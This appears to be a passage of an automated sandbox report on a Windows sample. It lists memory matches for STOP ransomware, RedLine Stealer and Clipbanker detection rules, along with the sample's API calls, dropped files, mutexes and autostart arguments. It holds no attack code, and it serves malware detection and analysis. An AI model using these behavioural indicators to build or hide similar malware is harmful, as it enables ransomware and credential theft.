Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000C.00000002.2241288054.000000000448C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.2184061996.0000000001D7E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.2489597512.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001C.00000002.3477780994.00000000009F1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.3477575756.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001A.00000002.2837732300.00000000009C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.4097886310.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000002.2257030961.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000019.00000002.2501010675.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.2423775240.000000000097D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.2489371606.0000000004484000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.2423652569.0000000000930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2113503553.0000000004499000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.2322981212.000000000083D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.4098002454.0000000000A01000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: rq0mVjR9ar.exe PID: 6764, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 4324, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 5792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 1320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 3984, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 5156, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: rq0mVjR9ar.exe PID: 2496, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@44/1404@9/5

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 0_2_044307C6 CreateToolhelp32Snapshot,Module32First,

0_2_044307C6

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

File created: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c

Jump to behavior

Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3472:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Command line argument: IsAutoStart	2_2_00419F90
